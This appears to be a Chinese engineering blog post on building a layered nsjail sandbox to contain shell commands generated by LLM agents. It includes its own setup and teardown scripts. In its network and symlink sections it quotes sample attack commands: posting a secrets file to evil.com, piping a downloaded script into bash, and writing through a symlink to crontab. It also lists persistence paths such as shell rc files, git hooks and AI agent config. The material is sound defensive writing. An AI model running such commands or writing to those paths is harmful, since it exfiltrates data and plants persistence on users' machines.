背景

在 AI 应用中,LLM 经常需要执行代码——运行 Shell 脚本、读写文件、安装依赖。但 LLM 的输出本质不可信:它可能幻觉出危险命令,也可能在 prompt injection 下被诱导执行恶意代码。

沙盒执行环境因此成为 AI 系统的基础设施。本文从架构设计的角度,拆解一套可落地的沙盒方案。

分层设计:传输与隔离解耦

沙盒有两个可以独立变化的关注点:

关注点一:传输方式——命令怎么发到执行环境?

  • 开发调试时直接在本地起进程,延迟低
  • 生产环境通过 SSH 发到隔离容器,宿主机零风险

关注点二:隔离级别——用什么力度限制进程?

  • 轻量级:namespace + chroot + capability drop,适用于开发环境与内部信任任务
  • 严格级:轻量级基础上叠加 seccomp + cgroup(内存/CPU 限制)+ 独立 network namespace + 禁用 /proc,适用于不可信的外部输入

关键是这两个关注点互不耦合——传输方式和隔离级别各写一份实现,按需组合使用,不用为每种"传输+隔离"的组合写一套独立的代码。

flowchart LR
    subgraph 传输实现
        L["本地执行<br/>(ProcessBuilder)"]
        S["远程 SSH<br/>(SSH + SFTP)"]
    end
    subgraph 隔离实现
        A["轻量隔离<br/>(namespace + chroot<br/>+ capability drop)"]
        B["严格隔离<br/>(seccomp + cgroup<br/>+ 网络隔离)"]
    end
    subgraph 按需组合
        LL["本地轻量<br/>开发调试"]
        LS["远程轻量<br/>CI 环境"]
        SL["本地严格<br/>本地高安全"]
        SS["远程严格<br/>生产推荐"]
    end
    L --> A --> LL
    L --> B --> SL
    S --> A --> LS
    S --> B --> SS

隔离模型:简单而高效的设计

核心思路:

给进程切换到隔离的文件系统视图——它只能看到沙盒内暴露的目录结构,无法直接访问宿主机其他路径。

需要注意的是:chroot 本身并不构成完整安全边界,真正的隔离依赖于 mount namespace、capability drop、seccomp、cgroup 等机制协同工作。

原理:mount namespace + chroot + 资源限制

nsjail 利用 Linux mount namespace 为进程创建独立的文件系统视图,配合 chroot 将进程的根目录锁定在沙盒专属目录内。沙盒外的路径对进程不可见。

搭建沙盒的步骤:

flowchart TD
    subgraph 准备["第1步:准备 chroot 目录树"]
        RO["宿主机 /sandbox/{id}/"]
        RO --> USR["usr/ ← 只读 bind 自宿主机 /usr"]
        RO --> LIB["lib/ ← 只读 bind 自宿主机 /lib"]
        RO --> BIN["bin/ ← 只读 bind 自宿主机 /bin"]
        RO --> ETC["etc/ ← 只读 bind 自宿主机 /etc"]
        RO --> OPT["opt/ ← 只读 bind 自宿主机 /opt"]
        RO --> WS["workspace/ ← 空目录,可写"]
        RO --> HM["home/ ← 空目录,可写"]
        RO --> TM["tmp/ ← 空目录,可写"]
    end
    subgraph 运行["第2步:chroot + cgroup 启动"]
        CHROOT["nsjail --chroot /sandbox/{id}"]
        CG["--cgroup_mem_max 512MB"]
        CPU["--cgroup_cpu_ms_per_sec 800"]
        NP["--disable_proc (屏蔽 /proc)"]
        CAP["--cap-drop ALL (降权)"]
        NP2["no_new_privs 开启(nsjail 默认)"]
    end
    准备 --> 运行

chroot 后进程看到的文件系统:

路径 进程视角 实际情况
/usr, /lib, /bin, /etc, /opt 可读不可写 宿主机目录 bind 进来,写保护
/workspace 可读可写 沙盒目录内的普通目录,可自由读写
/home/$USER 可读可写 同上,工具链依赖的 home 都在这里
/tmp 可读可写 同上,会话结束整目录销毁
沙盒外的任何路径 不可访问 mount namespace + chroot 限制文件系统视图,沙盒外路径不在可见范围内

为什么选择 chroot + namespace?

相比纯"overlay 虚拟挂载"方案,chroot + mount namespace 有工程优势:

overlay / 虚拟挂载方案 chroot + namespace
文件系统视图 overlayfs 叠加 独立根目录
系统目录控制 需要额外挂载策略 bind 只读目录即可
符号链接行为 需额外检查逃逸 链接解析受根目录限制
资源限制 需单独配置 cgroup nsjail 内置支持
启动成本

需要强调的是:

  • chroot 本身不是完整安全边界
  • 真正的隔离来自 namespace + seccomp + capability drop + cgroup 的组合
  • 本方案定位是轻量高性能隔离,而非 VM 级强隔离

为什么需要独立的 Home 目录?

很多开发者工具(pip、npm、git 等)假设 $HOME 是可写的,会往 ~/.cache~/.config~/.local 等路径写缓存和配置。如果 $HOME 不可写,这些工具会直接失败。因此沙盒必须提供一个独立的、可写的 home 目录。

但初始化时不从宿主机复制任何 home 内容——不复制 .config.cache.local,更不碰 .ssh.gnupg。沙盒内的 home 从一个空目录起步,工具链按需自行创建缓存和配置。

Home 目录初始化步骤

nsjail 的 home 初始化很简洁——namespace + chroot 构成的文件系统视图即沙盒的全部可见范围:

sequenceDiagram
    participant HOST as 宿主机
    participant SANDBOX as 沙盒服务
    participant JAIL as nsjail 沙盒

    SANDBOX->>HOST: mkdir -p /sandbox/{id}/{home/.local/bin,workspace,tmp}
    SANDBOX->>HOST: bind 系统目录到 chroot 树<br/>(/usr /lib /bin /etc /opt,只读)

    Note over SANDBOX,HOST: 不复制宿主机任何 home 内容

    Note over SANDBOX,JAIL: chroot + cgroup 启动
    SANDBOX->>JAIL: nsjail --chroot /sandbox/{id} --cgroup_mem_max 512M --cap-drop ALL --disable_proc
    SANDBOX->>JAIL: export HOME=/home/$USER TMPDIR=/tmp PATH=.../home/.local/bin

具体命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1. 创建 chroot 根目录结构
SANDBOX_ROOT=/sandbox/{sessionId}
mkdir -p $SANDBOX_ROOT/workspace
mkdir -p $SANDBOX_ROOT/home/.local/bin
mkdir -p $SANDBOX_ROOT/tmp

2. bind 系统目录(只读,供沙盒内的程序使用基本工具)
mount --bind /usr $SANDBOX_ROOT/usr && mount -o remount,ro $SANDBOX_ROOT/usr
mount --bind /lib $SANDBOX_ROOT/lib && mount -o remount,ro $SANDBOX_ROOT/lib
mount --bind /bin $SANDBOX_ROOT/bin && mount -o remount,ro $SANDBOX_ROOT/bin
mount --bind /etc $SANDBOX_ROOT/etc && mount -o remount,ro $SANDBOX_ROOT/etc
mount --bind /opt $SANDBOX_ROOT/opt && mount -o remount,ro $SANDBOX_ROOT/opt

3. 启动 nsjail(no_new_privs 默认开启,无需显式传参)
nsjail --mode l \
--chroot $SANDBOX_ROOT \
--cgroup_mem_max 536870912 \
--cgroup_cpu_ms_per_sec 800 \
--disable_proc \
--cap-drop ALL \
--env HOME=/home/$USER \
--env TMPDIR=/tmp \
--env PATH=/usr/local/bin:/usr/bin:/bin:/home/$USER/.local/bin \
-- /bin/sh -c '用户的命令'

不复制宿主机 home 内容,原因在两方面:

  • 安全:沙盒进程不应接触 ~/.ssh~/.gnupg 等敏感目录;也不应拿到 .gitconfig 中的个人信息,或 .npmrc 中的 registry token
  • 隔离性:空 home 意味着沙盒内工具的行为完全可控、可复现,不受宿主机 home 历史状态的干扰

最终目录结构

1
2
3
4
5
6
7
8
9
10
/sandbox/{sessionId}/     ← chroot 的根
├── usr/ ← 宿主机 /usr bind (只读)
├── lib/ ← 宿主机 /lib bind (只读)
├── bin/ ← 宿主机 /bin bind (只读)
├── etc/ ← 宿主机 /etc bind (只读)
├── opt/ ← 宿主机 /opt bind (只读)
├── workspace/ # 主工作区——LLM 读写的文件都在这里
├── home/ # 用户家目录——空目录起步
│ └── .local/bin/ # pip install --user 的安装目标
└── tmp/ # 临时目录

整个目录树在宿主机上就是 /sandbox/{sessionId}/,chroot 后进程把它当 / 看。

释放沙盒时需要注意顺序:必须先 umount 解绑所有 bind 挂载点,再 rm -rf 删除目录。如果反过来,rm -rf 会穿透 bind 挂载删到宿主机文件——rm -rf /sandbox/{id}/usr 删的可是真实的 /usr

1
2
3
4
5
6
7
# 释放:先 umount,再 rm
umount -f $SANDBOX_ROOT/usr
umount -f $SANDBOX_ROOT/lib
umount -f $SANDBOX_ROOT/bin
umount -f $SANDBOX_ROOT/etc
umount -f $SANDBOX_ROOT/opt
rm -rf $SANDBOX_ROOT

攻击场景验证

  • rm -rf /? → mount namespace + chroot 限制在沙盒视图内,宿主机文件不受影响
  • cat /etc/passwd? → 可读沙盒内 bind 的只读副本,无法修改
  • ps aux 枚举进程? → --disable_proc/proc 不存在,无法获取宿主机进程信息
  • pip install --user malicious-pkg? → 装进沙盒 home,会话结束 rm -rf 清理
  • 死循环 / 内存泄漏? → cgroup 限制内存超 512MB OOM kill,CPU 受限
  • setuid 提权? → --cap-drop ALL + no_new_privs 禁止

nsjail 方案的核心价值:namespace + chroot + seccomp + capability drop + cgroup 的组合,提供轻量级但够用的工程安全边界。

超越文件系统:网络控制与纵深防御

chroot 搞定了文件隔离,但一个可用的沙盒远不止这些。实际落地时还有几个问题:网络、系统调用、强制拒绝路径。

网络:三层代理架构

nsjail 会运行在独立的 network namespace 中。默认情况下不允许直接访问宿主机网络——但 LLM 执行的操作经常需要联网(pip installgit clonecurl 都要出站),因此需要代理桥接。

实用方案是 三层架构

flowchart LR
    subgraph NS["独立 Network Namespace"]
        PROC["沙盒进程<br/>(curl/pip/git)"]
        SCT_IN["socat 客户端<br/>TCP:3128 / TCP:1080"]
    end
    subgraph HOST["宿主机"]
        SCT_OUT["socat 宿主机端<br/>Unix Socket"]
        HTTP["HTTP 代理<br/>127.0.0.1:3128<br/>域名白名单"]
        SOCKS["SOCKS5 代理<br/>127.0.0.1:1080<br/>域名白名单"]
    end
    OUT["外网<br/>pypi.org / npmjs.org"]
    PROC -->|"HTTP_PROXY=127.0.0.1:3128"| SCT_IN
    SCT_IN -->|"Unix Socket 桥接"| SCT_OUT
    SCT_OUT --> HTTP
    SCT_OUT --> SOCKS
    HTTP -->|"域名过滤通过"| OUT
    SOCKS -->|"域名过滤通过"| OUT

第一层 — 宿主机代理:在宿主机侧启动两个代理进程:

  • HTTP 代理(监听 127.0.0.1:3128):处理 HTTP/HTTPS 流量,对 CONNECT 隧道的目标域名做白名单校验
  • SOCKS5 代理(监听 127.0.0.1:1080):处理非 HTTP 的 TCP 流量(SSH、数据库、gRPC)

两个代理共享同一份域名过滤规则,默认策略是 fail-closed:域名不在白名单里就拒绝连接。

为什么需要域名过滤? 假设不控制网络出站,LLM 可以做几件很危险的事:

  • 数据外传curl -X POST https://evil.com/collect -d @/workspace/secrets.json,把沙盒里的敏感数据 POST 到外部服务器
  • 下载即执行curl https://raw.githubusercontent.com/evil/script.sh | bash,从代码托管平台拉未经审核的脚本直接执行
  • C2 回连:被 prompt injection 注入的恶意命令回连攻击者的 C2 服务器,变成一个驻留的 bot

因此需要白名单 + denylist 双重过滤:denylist 优先于 allowlist——比如允许 *.github.com 但拒绝 raw.githubusercontent.com,防止下载未经审核的脚本直接执行。

第二层 — socat 桥接:宿主机代理在 127.0.0.1 上监听,但沙盒进程在独立 network namespace 中看不到宿主机回环地址。需要 socat 桥接:宿主机起两个 socat 监听 Unix socket,沙盒内部再起两个 socat 监听 TCP 端口并通过 Unix socket 转发到宿主机。对沙盒内的进程来说,访问 127.0.0.1:3128 就是走代理,无需感知 Unix socket 的存在。

第三层 — 环境变量注入:启动沙盒进程时注入代理环境变量,让所有生态工具自动走代理:

1
2
3
4
export HTTP_PROXY=http://127.0.0.1:3128
export HTTPS_PROXY=http://127.0.0.1:3128
export ALL_PROXY=socks5://127.0.0.1:1080
export NO_PROXY=localhost,127.0.0.1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

NO_PROXY 排除内网地址段,防止内部 API 调用被代理拦截。

Seccomp:系统调用过滤

文件系统和网络隔离之外,还需要限制系统调用攻击面。现代 Linux 内核中,一些新 syscall(如 io_uring)可能绕过传统的 socket 过滤。

实践中更推荐默认 deny + 按需 allowlist

  • 先阻止所有非必要 syscall
  • 只放行经过验证的安全 syscall 集合
  • 随着内核更新持续审计新增 syscall

重点限制的高风险 syscall 包括:

  • socket(AF_UNIX, ...) — 防止在沙盒内创建 Unix socket 绕过网络过滤
  • io_uring_setup / io_uring_enter / io_uring_register — 堵住 io_uring 旁路
  • bpf — 防止加载任意 BPF 程序
  • userfaultfd — 防止用户态缺页处理逃逸
  • perf_event_open — 防止性能事件侧信道

seccomp 过滤器编译为 BPF 字节码,通过一个独立的小型 C 程序注入。注入时机必须在 socat 启动之后、用户命令执行之前——因为 socat 本身需要创建 Unix socket 来桥接网络。注入后启动嵌套 PID namespace,使沙盒进程无法通过 /proc/N/mem 读写未过滤进程的内存。

Capability 与 no_new_privs

Linux capability 是现代沙盒的重要组成部分。即使进程运行在隔离文件系统中,如果仍保留 CAP_SYS_ADMINCAP_SYS_PTRACECAP_NET_ADMIN 等高权限 capability,依然可能影响宿主机。

因此实际运行时应:

  • drop 所有非必要 capability
  • 开启 no_new_privs,禁止 setuid 二进制提权
  • 禁止 CAP_SYS_PTRACE(防止 ptrace 逃逸)
1
2
3
nsjail --cap-drop ALL \
--disable_clone_newuser
# no_new_privs 默认开启,无需显式传参

核心目标:即使沙盒内进程被完全控制,也无法获得新的宿主机权限。

符号链接行为

在 mount namespace 与 chroot 正确配置的前提下,符号链接解析会被限制在沙盒根目录视图内。

例如 LLM 创建:

1
2
ln -s /etc/crontab /workspace/link
echo "evil" > /workspace/link

在沙盒中,/workspace/link -> /etc/crontab 的实际解析目标是 /sandbox/{sessionId}/etc/crontab,而不是宿主机真实 /etc/crontab。这个文件在沙盒内通常不存在(/etc 是只读 bind 进来的副本),写入会 ENOENT 失败或在沙盒内创建无效文件。

因此,相比仅依赖路径字符串校验的方案,chroot + namespace 对常见符号链接逃逸攻击更稳健

但仍需注意:

  • 需关闭 inherited file descriptor
  • 需隔离 /proc(已通过 --disable_proc 处理)
  • 需避免 mount namespace 泄漏

否则仍可能出现越界访问问题。

强制拒绝路径

有些路径无论怎么配都不应该被沙盒进程写入,这些是硬编码的:

  • Shell 配置(.bashrc.zshrc.profile):如果 LLM 能写这些文件,下次用户打开终端时注入的恶意命令就会自动执行——一次写入,永久驻留。这是最危险的持久化途径。
  • Git 配置(.gitconfig.gitmodules):Git 有一个 core.fsmonitor 配置项,可以指定任意命令在每次 git 操作时执行。如果 LLM 改了这个配置,用户在沙盒外 git commit 时就会触发恶意代码。
  • Git hooks(.git/hooks/):pre-commitpost-checkout 等 hook 脚本天然就是"在特定时机执行代码"的设计,不可能让它可写。
  • IDE 目录(.vscode/.idea/):IDE 的任务配置、启动脚本可以被篡改,下次打开项目时自动执行恶意代码。
  • AI 助手自身配置(.claude/commands/.claude/agents/):如果 LLM 可以修改自己的配置或指令,它能"自我升级权限",这是必须封堵的后门。

这些路径写入优先级最高——即使出现在 allowWrite 白名单中也被覆盖拒绝,属于"连沙盒自己都不信任沙盒内的 LLM"。

按平台适配

OS 沙盒的底层原语是平台相关的:

Linux macOS
文件隔离 + 资源限制 nsjail (mount namespace + chroot + cgroup) Seatbelt (sandbox-exec + Scheme 沙盒策略文件)
网络控制 独立 network namespace + socat 桥接代理 Seatbelt 内置(network-outbound 限制)
系统调用过滤 seccomp BPF(默认 deny + allowlist) Seatbelt 内置(mach-lookup 白名单)
安全模型 namespace + seccomp + capability drop + cgroup 组合 (deny default) + 逐条 (allow ...) 放行

两个平台用各自的工具链,上层配置模型保持一致即可。跨平台的 AI 沙盒本质上是一份 config,两份 impl

性能与隔离的权衡

不同沙盒方案的隔离级别和适用场景各不相同:

方案 隔离级别 性能 启动速度 适用场景
nsjail namespace 级 极高 毫秒级 AI Agent / 在线判题
Docker container 级 秒级 通用开发环境
gVisor 用户态内核 较快 公网多租户
Firecracker microVM 较强 较慢 高安全隔离

本文方案偏向:

高密度、低延迟、轻量级 AI Agent 执行环境。

其目标不是替代虚拟机,而是在性能与安全之间取得工程平衡。对公网多租户等更高安全需求的场景,可进一步演进为 gVisor 或 microVM 架构。工程上不存在绝对安全的沙盒,真正可行的方案是在性能、兼容性、隔离强度、运维复杂度之间做权衡。

防御全景

flowchart TD
    CMD["LLM 生成的命令"] --> L1
    subgraph L1["第1层:文件与权限隔离"]
        NS["nsjail: mount namespace + chroot<br/>capability drop · no_new_privs · cgroup 限制<br/>防:rm -rf / · 提权 · 资源耗尽"]
    end
    L1 --> L2
    subgraph L2["第2层:网络控制"]
        NET["独立 network namespace + HTTP/SOCKS 代理<br/>域名白名单 · fail-closed<br/>防:数据外传 · 下载恶意脚本 · C2 回调"]
    end
    L2 --> L3
    subgraph L3["第3层:系统调用过滤"]
        SEC["seccomp BPF (默认 deny + allowlist)<br/>禁用 AF_UNIX · io_uring · bpf<br/>防:Unix socket 绕过 · 内核弱点旁路"]
    end
    L3 --> L4
    subgraph L4["第4层:路径兜底"]
        DENY["强制拒绝路径<br/>符号链接解析受限 (chroot + namespace)<br/>.bashrc .gitconfig .git/hooks/ …<br/>防:持久化后门 · git 劫持"]
    end
    L4 --> SAFE["安全执行<br/>攻击面层层收窄"]

以上实践参考了 Anthropic sandbox-runtime 的架构设计。

会话生命周期

每个用户会话(一次对话 / 一个工作流实例)对应一个独立的沙盒工作区:

sequenceDiagram
    participant 调用方
    participant 沙盒服务
    participant 文件系统

    调用方->>沙盒服务: exec(command)
    沙盒服务->>沙盒服务: 检测到无会话
    沙盒服务->>文件系统: mkdir /sandbox/{id}/workspace
    沙盒服务->>文件系统: mkdir /sandbox/{id}/home
    沙盒服务->>文件系统: mkdir /sandbox/{id}/tmp
    沙盒服务->>文件系统: mount --bind /usr /lib /bin /etc /opt → chroot 树 (只读)
    沙盒服务->>沙盒服务: 持久化会话到 DB
    沙盒服务->>文件系统: nsjail 启动 · 执行 command
    沙盒服务-->>调用方: ExecResult

    调用方->>沙盒服务: release(sessionId)
    沙盒服务->>文件系统: umount /sandbox/{id}/usr /lib /bin /etc /opt (必须先解绑)
    沙盒服务->>文件系统: rm -rf /sandbox/{id}
    沙盒服务->>沙盒服务: 标记会话已释放

关键设计点:

  • 自动创建:首次执行命令时自动建工作区,不要求调用方显式管理
  • 数据隔离:不同会话工作区完全独立,/sandbox/alice-123/workspace/sandbox/bob-456/workspace
  • 自动清理:会话结束 rm -rf 不留残留
  • 可恢复:会话状态落库,服务重启后可重建

附录:可直接使用的沙盒脚本

以下三个脚本实现了上述完整方案,可直接部署使用。

前置依赖

1
2
3
4
5
6
7
8
# Debian/Ubuntu
apt-get install -y nsjail socat

# 确保内核支持 cgroup v2
mount | grep cgroup2 || mount -t cgroup2 none /sys/fs/cgroup

# 创建沙盒根目录
mkdir -p /sandbox

sandbox-setup — 准备沙盒环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
# sandbox-setup.sh <sessionId>
# 准备沙盒目录树,bind 系统目录,完成后可反复执行命令
set -euo pipefail

SESSION_ID="${1:?Usage: $0 <sessionId>}"
SANDBOX_ROOT="/sandbox/${SESSION_ID}"
USER_NAME="${SUDO_USER:-$(whoami)}"

if [ -d "$SANDBOX_ROOT" ]; then
echo "[sandbox-setup] $SESSION_ID 已存在,跳过创建"
exit 0
fi

echo "[sandbox-setup] 创建沙盒: $SESSION_ID"

mkdir -p "$SANDBOX_ROOT/workspace"
mkdir -p "$SANDBOX_ROOT/home/.local/bin"
mkdir -p "$SANDBOX_ROOT/tmp"
chown -R "$USER_NAME:$USER_NAME" "$SANDBOX_ROOT/home" "$SANDBOX_ROOT/workspace" "$SANDBOX_ROOT/tmp"

# bind 系统目录 (只读)
for dir in usr lib bin etc opt; do
mkdir -p "$SANDBOX_ROOT/$dir"
mount --bind "/$dir" "$SANDBOX_ROOT/$dir"
mount -o remount,ro,bind "$SANDBOX_ROOT/$dir"
done

echo "[sandbox-setup] 完成: $SANDBOX_ROOT"

sandbox-exec — 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash
# sandbox-exec.sh <sessionId> <command>
# 在指定沙盒中执行命令。如沙盒未初始化则自动调用 setup
set -euo pipefail

SESSION_ID="${1:?Usage: $0 <sessionId> <command>}"
shift
COMMAND="${*:?Usage: $0 <sessionId> <command>}"
SANDBOX_ROOT="/sandbox/${SESSION_ID}"
USER_NAME="${SUDO_USER:-$(whoami)}"

# 自动初始化
if [ ! -d "$SANDBOX_ROOT" ]; then
echo "[sandbox-exec] 沙盒未初始化,自动 setup..."
"$(dirname "$0")/sandbox-setup.sh" "$SESSION_ID"
fi

MEM_LIMIT="${SANDBOX_MEM_LIMIT:-536870912}" # 512MB
CPU_LIMIT="${SANDBOX_CPU_LIMIT:-800}" # 80%/core

exec nsjail --mode l \
--chroot "$SANDBOX_ROOT" \
--cgroup_mem_max "$MEM_LIMIT" \
--cgroup_cpu_ms_per_sec "$CPU_LIMIT" \
--disable_proc \
--cap-drop ALL \
--time_limit 0 \
--env HOME="/home/${USER_NAME}" \
--env USER="$USER_NAME" \
--env TMPDIR=/tmp \
--env LANG=C.UTF-8 \
--env PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/${USER_NAME}/.local/bin" \
-- /bin/sh -c "$COMMAND"

sandbox-teardown — 删除沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
# sandbox-teardown.sh <sessionId>
# 解绑挂载并删除沙盒目录
set -euo pipefail

SESSION_ID="${1:?Usage: $0 <sessionId>}"
SANDBOX_ROOT="/sandbox/${SESSION_ID}"

if [ ! -d "$SANDBOX_ROOT" ]; then
echo "[sandbox-teardown] $SESSION_ID 不存在"
exit 0
fi

echo "[sandbox-teardown] 释放沙盒: $SESSION_ID"

# 先 umount(顺序不重要,但必须在 rm 之前)
for dir in usr lib bin etc opt; do
mountpoint -q "$SANDBOX_ROOT/$dir" 2>/dev/null && umount "$SANDBOX_ROOT/$dir" || true
done

# 再删除
rm -rf "$SANDBOX_ROOT"

echo "[sandbox-teardown] 完成"

使用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 准备沙盒
sudo ./sandbox-setup.sh session-abc123

# 执行命令(沙盒内执行 pip install)
./sandbox-exec.sh session-abc123 "pip install numpy pandas"

# 执行多条命令
./sandbox-exec.sh session-abc123 "cd /workspace && python -c 'import numpy; print(numpy.__version__)'"

# 清理
sudo ./sandbox-teardown.sh session-abc123

# 从 Java/Go 调用:直接用 ProcessBuilder / exec.Command
# 无需额外封装,三个脚本本身就是沙盒 API

注意sandbox-setupsandbox-teardown 中的 mount/umount 需要 root 权限。执行命令的 sandbox-exec 中 nsjail 的 chroot 和 cgroup 也需要 root,如果不想用 root,可以给 nsjail 二进制设置 CAP_SYS_ADMIN + CAP_SYS_CHROOT capability。

总结

一套可落地的 AI 沙盒设计,核心抓住这几点:

  1. 关注点解耦:传输方式与隔离级别各写一份实现,按需组合
  2. 轻量高效:nsjail 提供了优秀的 namespace/cgroup 封装,配合独立 home 支撑 pip/npm 等工具链,启动毫秒级,适合高密度 AI Agent 场景
  3. 纵深防护:namespace + chroot + seccomp + capability drop + cgroup + 强制拒绝路径,多道防线协同,不依赖单点
  4. 透明生命周期:自动创建、自动清理、会话隔离、状态可恢复

需要明确的是:这不是 VM 级强隔离。真正的安全依赖 namespace / seccomp / capability / cgroup 的组合。对公网多租户场景,可进一步升级为 gVisor 或 microVM 架构。工程上不存在绝对安全的沙盒,真正可行的方案是在性能、兼容性、隔离强度、运维复杂度之间做平衡。